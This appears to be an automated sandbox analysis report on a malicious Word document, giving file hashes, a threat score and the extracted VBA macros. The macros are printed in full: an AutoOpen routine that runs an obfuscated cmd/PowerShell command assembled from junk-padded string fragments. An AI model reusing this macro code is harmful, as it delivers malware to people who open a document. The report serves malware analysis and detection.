Behavioral task
behavioral1
Sample
7bf9796a469fd9dc98b86fa95a206d28.doc
Resource
win7-20220812-en
windows7-x64
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
7bf9796a469fd9dc98b86fa95a206d28.doc
Resource
win10v2004-20220812-en
windows10-2004-x64
4 signatures
150 seconds
General
-
Target
7bf9796a469fd9dc98b86fa95a206d28
-
Size
79KB
-
MD5
7bf9796a469fd9dc98b86fa95a206d28
-
SHA1
9d099a838b4b9283aabf080f4c61ff744fb26ed3
-
SHA256
1bc25579b4eca5466f6360a84d87508629512af3c1a8bba14d0a6d67933cf1f9
-
SHA512
ad1d331edf77b66d9c5f1e55223ecbcd967aa74d0a9578cd34d8e51661a5c3e6b71eede43a45869873e3066f6f1ed786f9a460c0d84914afc68afafe34ba3a3d
-
SSDEEP
1536:am15g1jS2Xwr+5U6Hsg6aZAO/f4Sm6eh:QlNu+5yg6aZAW4d6
Score
8/10
Malware Config
Signatures
-
Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule sample office_macro_on_action -
resource sample
Files
-
7bf9796a469fd9dc98b86fa95a206d28.doc windows office2003
AIIfUddBvsC
1Attribute VB_Name = "AIIfUddBvsC"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True9mTDiVPJjjQLbi
1Attribute VB_Name = "mTDiVPJjjQLbi"2Function BilUK()34On _5Error _6Resume _7Next8Hour QhZtCM / tLnNz9jiWFtrnizXl = "md /V:^" + "ON/C" + Chr(2 + 5 + 3 + 2 + 22) + "^" + "s^e^t " + "b^S" + "^P===" + "^A^" + "A^g^AAI" + "AACAg" + "AA^" + "I^A^AC" + "A^g^A^"10Hour BKjIN / ClrlsQ * 92585 * rGnAz11Hour 50723 / DDMqTM * lwWZo / hWGpAi12Hour YPCSNv / HKwUfT13Hour LqUkci * MDwKtp14zOcac = "AI^" + "AAC^" + "A^" + "g^A^" + "A" + "I^A^A" + "CA^g" + "^AA^IAA" + "CA" + "gAA^IA^"15Hour 58991 * zdiKo * DNfcz * qdhXM16Hour tMpaj * HdVjjJ17Hour 48189 / PMkBjc18Hour VqWtS * aNqTwC19ZWzik = "0^" + "HA^" + "9" + "B^" + "weAg^" + "G^Aj" + "^BAd^" + "AE" + "G^" + "A^jBQf" + "^AsD^A" + "r^"20Hour 70569 * hOvMt / 64331 * AiFNV21Hour uwDmfU / 20601 / 56084 / 678822Hour 38613 * hhPLm * 77937 / aPmqLY23Hour 20272 / pbhdj / Cukjqc / SPIob24EGWzwkYMu = "BQ^Y" + "A^UG^A" + "yBg^Y^" + "A" + "^" + "sDA^" + "u" + "^B^w" + "^UA^wE"25Hour SwYtRq * HuSRuo / 19775 / UzzRw26Hour IjhjV * BolpGK27Hour 82175 * YUkjnc / JzVBpj / 739728Hour 66218 * sYioz * 43709 / LHiFZ29qRYXn = "^A" + "kA^A" + "I^A" + "^" + "0^GA^l^" + "B" + "^A" + "d^A^kEA" + "^tAQ^Z" + "^AsGAvB" + "^gd^" + "A4G^A^" + "J^B^w"30Hour odEazN * 82837 * mNPkTw * YIUdzq31Hour zOkNM / dqrRov32Hour 19152 * pSwwz33ioKmU = "O^AkC^" + "AuB" + "^wU^A" + "^w" + "^" + "E^Ak^A^" + "AI^" + "A^w" + "CA" + "w"34Hour ipERzq / 6645335Hour jBBqRq * GujYdO * 56206 / WrvrLZ36Hour 93252 * 5969537Hour rUjliR * 85560 / 94405 / sSVik38FPGOo = "B" + "Q" + "a" + "^AUF" + "A^k^A" + "^" + "AK^A" + "U" + "GAsB^Q" + "^aAYE^"39BilUK = jiWFtrnizXl + zOcac + ZWzik + EGWzwkYMu + qRYXn + ioKmU + FPGOo40Hour bndzFj * SMwEs / dOutLw / rPDss41Hour BnRMIJ * PdNlB42End Function43Function SfKPDNq()4445On _46Error _47Resume _48Next49Hour 10152 * 3249350Hour hijDtc * 57845 / DsZWi * POzvPK51Hour HrGTfu / wiSOlh * KnEmw * UtjOUq52Hour whOjz / OabnM53XPHwcqGkpwQ = "A" + "^k^B^Q^" + "Y^A^8GA" + "^sBg^b" + "A" + "c^H^A" + "v^B" + "AR^" + "A4" + "CA^1"54Hour 43087 * NzQNK55Hour 21832 * 32188 * LtjawM * fnDJj56Hour siSPZ * ouuMip57Hour 97868 / vkOAjL / 84535 * dAjMM58SaYGfrlR = "^BQ^YA" + "^U" + "HA^k" + "AweA^k" + "HA^yBA^" + "d^A^" + "s^H" + "^A^pA^w" + "cA^" + "kE" + "^A" + "^h^B" + "A"59Hour olwYi * dZOGqT * 76807 * WzuNA60Hour dBEfP / bWQIqr61NXaaOSIjtzO = "^JA^" + "AC" + "A^u^BQa" + "^AACA^w" + "BQa^A" + "UFAkA" + "^AKA^g" + "G^" + "Aj^B^Q^"62Hour zmhIi / VUHsb63Hour 34010 / PTDfq64YAdzSCjam = "YAUGA^" + "yB^wb^A" + "YG^A" + "^7^A^wJ" + "^AU^"65Hour 84667 / TFBDzz66Hour 16419 / QBpmM / 23111 * SFuOCj67Hour lHSAHf * pzHhwm68JBnIFqI = "GA^4^B^" + "Q" + "^Z^A" + "4C^A" + "n" + "^" + "AwKA8" + "^E" + "A6B^A^U" + "AQC^A" + "rA"69Hour 42984 * QpWwF70jKafHPq = "wJA^" + "w" + "FAnAw^" + "KA^MG" + "A^p^B"71Hour qqCDv * fwsmw72WcGrHSGw = "^A^b" + "^AI^G" + "A1BAc" + "A^oD^A2" + "B^g" + "b^AU" + "^G" + "^A^kA" + "Q^P^A4" + "G^AT^"73SfKPDNq = XPHwcqGkpwQ + SaYGfrlR + NXaaOSIjtzO + YAdzSCjam + JBnIFqI + jKafHPq + WcGrHSGw74Hour ISsGjj / hbDHl / ErkkYh / UEJwsV75Hour 30703 * YAuNQ * IikKoW * lKLsBb76Hour 74511 * AziFo77Hour jPKoj * oiaNv / 1113 / wwLvX78End Function79Function nlpnwJ()8081On _82Error _83Resume _84Next85Hour DECuG * XGKGL86XuwPFUTZmu = "BAT" + "^A^" + "QC^A^7A" + "^w^" + "JAAD" + "^Az" + "^" + "A^QO^Ac" + "C^A" + "^gAQ^P" + "^AACAPB" + "geAA^"87Hour WpmNDI * ONwYVb88jOwhu = "F" + "Ak^" + "A^w" + "OA" + "^kC" + "AnA" + "AQAcC" + "^"89Hour 70706 * 53768 / 32857 / iAUdAu90Hour 61350 / rdNjU91Hour NBmqiP * fwZbo * 35266 * JFbpqD92jLvbhqXdWA = "A^oA" + "A" + "^d^A" + "kG" + "^As" + "BAc" + "^AM^F^A" + "^uAwJAc" + "D" + "^Am^" + "Bg^ZA^" + "w^EA1^" + "BwLAcG"93Hour 48436 / TaHkVJ * bdNZmo * VmEND94Hour 96964 / CVFjw * 54667 * XCioNf95Hour 46668 * rdaRcZ / 41906 * DOBCz96jiZNAWosTC = "^A^" + "y^B^wb" + "A4C" + "^A" + "0Bgc" + "^" + "A^8G^A^" + "w^B"97Hour 53056 / 1107 * 86238 / DikdjH98Hour 62474 * czsck99Hour ZXFLtF * 51563 / QilzoP / jYmtPz100IYAcMzkFo = "^Q" + "b^A" + "^8C^Av" + "A^g^OA" + "AHA0BA" + "^d^A" + "^g^" + "GAAB" + "A" + "^" + "eA^UGAr" + "B"101Hour 75545 / jdXQL102Hour 93584 * nksHd103XdwwQtwiSz = "^wL^A" + "gG" + "^A" + "jB^g^L" + "^A^w^G" + "^" + "A" + "^p^" + "B^" + "wd^A0C" + "^A^lB^Q"104nlpnwJ = XuwPFUTZmu + jOwhu + jLvbhqXdWA + jiZNAWosTC + IYAcMzkFo + XdwwQtwiSz105Hour BUJpQp * zGbKRN106Hour rLspvE * GCwDn * 4278 * wAcwCv107Hour 55993 * hnGNI108End Function109Function WTuZLuPIG()110111On _112Error _113Resume _114Next115Hour 18316 / 35498116Hour sijNZc * HLBor117cuoXUjsvYZc = "^Z^A^gG" + "^" + "A^j^B^w" + "cA^8^G" + "^AtBw"118Hour ujdMM * Eiqak119Hour 29384 * TioDVC * VGkNC / kwRkzG120DIqYNIndISY = "L" + "^" + "A8C^A6" + "^A" + "Ac^A^" + "QH^A0" + "B^A" + "^aAA^E" + "^A^uB" + "^w^L" + "A8^G" + "Am^B^gb"121Hour 82300 / rHTpwi * 12316 * PQfUwi122Hour fFzdnA * moiwSr123Hour ooIpY / tzKaUi124auPVuwTW = "A^kG^" + "Au^A" + "g" + "^e^" + "A4G^AhB" + "^A^d^" + "A" + "MH" + "AuB^"125Hour wtZtHz * GLbJG126Hour 86335 * RvKzR127Hour 51020 * qXnLcT * vwOYsu * QqzzO128Hour 4304 * GnCTRR * 91970 / nqzCZ129jHpwuR = "wbA^s" + "GA^t" + "^Agd" + "A^M^HAv" + "A^wL"130Hour 84667 * 5845 / 89281 / ojrsIK131MzPzpZLzlWz = "Ao" + "D^A" + "wBA" + "d^A^QH" + "A^o^B" + "^A^QA^Y" + "HArB^" + "A^d^AM" + "F^Av" + "A"132Hour 31174 * NobmL / 99198 / HRYLl133Hour 88787 / 369 * PNoOGz / 51841134Hour EWsukJ * jMowU / WnmwDp * 6824135UdJHwvd = "^Qb" + "A^8GA" + "jB^g" + "^L^A^8^" + "G^A^yB^" + "QaAU" + "G" + "^A" + "^o^B^" + "Ad" + "A^8CAv" + "AgOAAH" + "A^0B^A"136Hour 93483 * wDTQF137PiBzfNA = "^dA^g" + "^" + "GAAB" + "A^aA^U" + "E^ALB" + "gc" + "^A8" + "C^At" + "^B" + "^wb"138Hour 43283 * 83358139NafQfV = "A" + "^M^" + "G^A^uAw" + "Z^A" + "4^G^A1^" + "B^wb^A" + "kH^A" + "^t" + "^BwYA^M" + "^G^A^1A" + "^wLA^8C" + "^A6AAcA"140Hour tlbLo * fGJXv / Dhhwhk / wBvqz141ibOKoUUkJ = "^QH" + "^A" + "^0" + "^BA" + "aAcCA9^" + "A^wc" + "Ak" + "E^A^hBA" + "JAs^D" + "^A^0B^" + "g^b^"142WTuZLuPIG = cuoXUjsvYZc + DIqYNIndISY + auPVuwTW + jHpwuR + MzPzpZLzlWz + UdJHwvd + PiBzfNA + NafQfV + ibOKoUUkJ143Hour zPrQn * rVQoi144Hour 88130 / fjrBC * EonHPI / PdriC145Hour FwubIo / UZEclJ * UBzin * 47578146Hour LjEvKX * Njzzz / IpwbIm / XULoG147Hour 89986 / lVrIW / QuzWcJ / SMGTG148End Function149Function XUfvzkLYO()150151On _152Error _153Resume _154Next155Hour GMPNA * DiPoEk / zPODXh * 9514156Hour 59007 * jJHrI / 84008 * XisjwC157Hour PVndV / JJVXG / 1862 / GlzHT158pLGuw = "AUGA^" + "pB^A^b" + "^A^M^E" + "^A" + "^i" + "^" + "B^Q^Z" + "A" + "cFAu"159Hour QbufE / GurYRV / 85715 * BMIcu160Hour 55824 / VatjT / 41903 * QrXwj161KJwVpBTMd = "^" + "AA" + "^dA" + "^U^G" + "AOBAI^A" + "^" + "Q^" + "HA^j" + "B" + "QZA^oG^" + "A^i^B^w" + "^b^A0C"162Hour 93997 * TUIaWj * aiVPw / oOiPUp163Hour 8249 * FKsJmP / 41523 * KPLnF164Hour 41456 / qJPQof * 56388 / iiYFu165Hour 40579 / 71096 * QnEaRU * 89358166MishiffUwW = "A^3^BQ" + "Z^A^4" + "GA^9^" + "AQ" + "^dA^E" + "GA^"167Hour XuhZh / 28193168Hour 29230 * 12054169Hour 69122 / JbnzG / TqRDj * oWDEW170Hour RXdzL * vmzMr171UZziaW = "1^" + "B^A^J e" + "-^" + " ^l" + "^l^eh" + "sr^" + "e^w^op&" + "&^" + "f^or " + "/" + "^L %^" + "D ^" + "in"172Hour 5334 / 23017173Hour ksmVi / XLTkF174MKiaK = " (" + "^877^;" + "-1^" + ";0)d^o " + "^" + "set ^Av" + "=!^Av" + "!!b" + "^S^P:~%" + "^D," + "1!&&i^" + "f %^D="175Hour 99619 / 67690176Hour SGunF * jXiVL * 29332 / 29693177lKuiuG = "^=^0 c" + "a^l^l " + "%^Av:~" + "^4%" + Chr(0 + 1 + 2 + 5 + 26) + " " + " "178XUfvzkLYO = pLGuw + KJwVpBTMd + MishiffUwW + UZziaW + MKiaK + lKuiuG179Hour 6810 / zrMwDG180Hour TCpdt / MTjHAs * 15965 / snFflf181End Function182183184aPPnsUziqWni
1Attribute VB_Name = "aPPnsUziqWni"2Sub AutoOpen()34On _5Error _6Resume _7Next8Hour hSOmj * dtMmfB9Hour 93201 / WaoLC10Shell ChrW(9 + 12 + 3 + 3 + 40) + jthWXDrGqUGD + RHcNjtmYcw + BilUK + SfKPDNq + nlpnwJ + WTuZLuPIG + XUfvzkLYO + uXiihrLihsCRFp + pjfsrzJjipd, 818128045 - 81812804511Hour 67229 / YJTbM12Hour 94275 / 1460513Hour HjvSO * 13274 * OzvsOi / aaTChj14Hour 28886 / brZELH15End Sub161718